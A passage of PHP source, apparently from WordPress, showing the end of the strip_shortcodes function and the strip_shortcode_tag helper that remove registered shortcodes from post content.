( ! str_contains( $content, '[' ) ) { return $content; } if ( empty( $shortcode_tags ) || ! is_array( $shortcode_tags ) ) { return $content; } // Find all registered tag names in $content. preg_match_all( '@\[([^<>&/\[\]\x00-\x20=]++)@', $content, $matches ); $tags_to_remove = array_keys( $shortcode_tags ); /** * Filters the list of shortcode tags to remove from the content. * * @since 4.7.0 * * @param array $tags_to_remove Array of shortcode tags to remove. * @param string $content Content shortcodes are being removed from. */ $tags_to_remove = apply_filters( 'strip_shortcodes_tagnames', $tags_to_remove, $content ); $tagnames = array_intersect( $tags_to_remove, $matches[1] ); if ( empty( $tagnames ) ) { return $content; } $content = do_shortcodes_in_html_tags( $content, true, $tagnames ); $pattern = get_shortcode_regex( $tagnames ); $content = preg_replace_callback( "/$pattern/", 'strip_shortcode_tag', $content ); // Always restore square braces so we don't break things like <!--[if IE ]>. $content = unescape_invalid_shortcodes( $content ); return $content; } /** * Strips a shortcode tag based on RegEx matches against post content. * * @since 3.3.0 * * @param array $m RegEx matches against post content. * @return string|false The content stripped of the tag, otherwise false. */ function strip_shortcode_tag( $m ) { // Allow [[foo]] syntax for escaping a tag. if ( '[' === $m[1] && ']' === $m[6] ) { return substr( $m[0], 1, -1 ); } return $m[1] . $m[6]; }
Save